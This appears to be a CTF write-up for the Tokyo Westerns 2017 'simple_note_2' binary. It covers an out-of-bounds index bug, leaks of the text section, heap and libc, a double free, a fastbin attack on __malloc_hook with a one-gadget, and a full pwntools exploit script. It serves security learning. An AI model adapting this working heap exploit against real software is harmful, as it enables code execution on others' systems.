Second part of the note challenge.

gef➤  checksec 
[+] checksec for '/home/sanat/tokyo-westerns'17/simple_note_2'
Canary                        : Yes →  value: 0x3eecb7f615243000
NX                            : Yes
PIE                           : Yes
Fortify                       : No
RelRO                         : Full
gef➤  

This time full RelRO.

There is OOB (Out of bounds error) in all functions that take input for index.

Input index of note.
-4
Content:� ��
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
1. Add a note.
2. Show a note.
3. Delete a note.
4. Exit.
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
Your choice:

So whatever index we pass, it dereferences it and then prints out its content. Sadly we can’t leak libc like this since we would need a pointer to a libc function. But few bytes behind, we have a target which can easily leak the .text section of the binary.

gef➤  x/20xg 0x0000000100000000 + 0x202060 - 128
0x100201fe0:	0x00007ffff7a784d0	0x00007ffff7a47030
0x100201ff0:	0x0000000000000000	0x00007ffff7a472d0
0x100202000:	0x0000000000000000	0x0000000100202008 <-- Target
0x100202010:	0x0000000000000000	0x0000000000000000
0x100202020 <stdout>:	0x00007ffff7dd2620	0x0000000000000000
0x100202030 <stdin>:	0x00007ffff7dd18e0	0x0000000000000000
0x100202040 <stderr>:	0x00007ffff7dd2540	0x0000000000000000
0x100202050:	0x0000000000000000	0x0000000000000000
0x100202060:	0x0000000100203010	0x0000000000000000 <-- Start of our list array which holds pointers to heap.
0x100202070:	0x0000000000000000	0x0000000000000000

Heap Leak

Our input string is not null terminated. So we can do a heap spray of fastbins and leak heap. ( We can also leak arena pointers but there is a much better way to do that).


gef➤  x/20xg 0x100203000
0x100203000:	0x0000000000000000	0x0000000000000021
0x100203010:	0x0000000000000000	0x0000000000000000
0x100203020:	0x0000000000000000	0x0000000000000021
0x100203030:	0x000000010020300a	0x0000000000000000 <-- our \x0a is not null terminated
0x100203040:	0x0000000000000000	0x0000000000020fc1

Libc Leak

Now since we know .text address and heap base, we know the distance and hence can calculate the distance. Divide by 8 and we get index. So now we technically control out pointer. We can just set a pointer to got address as our heap data (when creating new note) and then pass in that index. Likewise we set a pointer to a note also and thus possess 2 pointers to 1 note –> double free –> fastbin attack –> straightforward malloc_hook attack.

Malloc_hook Attack

There’s a blog by uafio where he describes how to create a fastbin near malloc_hook.

0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x00007ffff7dd0260
gef➤  
0x7ffff7dd1af8:	0x0000000000000000
gef➤  
0x7ffff7dd1b00 <__memalign_hook>:	0x00007ffff7a92e20
gef➤  
0x7ffff7dd1b08 <__realloc_hook>:	0x00007ffff7a92a00
gef➤  
0x7ffff7dd1b10 <__malloc_hook>:	0x0000000000000000

We overwrite with magic gadget.

Full exploit code.

#!/usr/bin/python
from pwn import *

elf = ELF("./libc.so.6")
p = remote("pwn2.chal.ctf.westerns.tokyo", 18554)
#p = process("./simple_note_2",env={"LD_PRELOAD":"./libc.so.6"})
raw_input()

def menu():
	p.recvuntil("choice:")

def add_note(size,content):
	menu()
	p.sendline("1")
	p.recvuntil("note.")
	p.sendline(str(size))
	p.recvuntil("note.")
	p.sendline(content)

def show_note(idx,n):
	menu()
	p.sendline("2")
	p.recvuntil("note.")
	p.sendline(str(idx))
	p.recvuntil("Content:")
	return p.recv(n)

def delete_note(idx):
	menu()
	p.sendline("3")
	p.recvuntil("note.")
	p.sendline(str(idx))

# Use index to leak. Then put index = m such that it points to heap !!
# Then freeing can cause double free.

lol = "A"*11
leak = show_note(-11,6)
print leak
print len(leak)
leak += "\x00"*2
leak = u64(leak)
text = leak - 0x202008
log.info("Text section: " + hex(text))

start = text + 0x202060

puts_got = text + 0x0000000000201f90

# Leak heap.
add_note(100,lol)
add_note(100,lol)
delete_note(1)
delete_note(0)
add_note(100,"")

leak = show_note(0,6)
leak += "\x00"*2
leak = u64(leak)
heap = leak - 0xa
log.info("Heap: " + hex(heap))

# set got address.
delete_note(0)
victim = heap + 0x80
buf = p64(puts_got)
buf += p64(victim)
add_note(100,buf)

# Now attack.
index = (heap - start)/8
index += 2

leak = show_note(index,6)
leak += "\x00"*2
leak = u64(leak)
libc = leak - elf.symbols['puts']
log.info("Libc: " + hex(libc))

# Double free.
delete_note(0)
index+=1
delete_note(index)

malloc_hook = libc + 0x3c4af5-8
buf = p64(malloc_hook)
add_note(100,buf)

lol = "X"*8
lol += p64(victim)
add_note(100,lol)
add_note(100,lol)

magic = libc + 0x4526a
magic = libc + 0xf0274

buf = "X"*19
buf += p64(magic)
add_note(100,buf)

# Trigger double free error.
print index
#p.interactive()
delete_note(index)
delete_note(0)

p.interactive()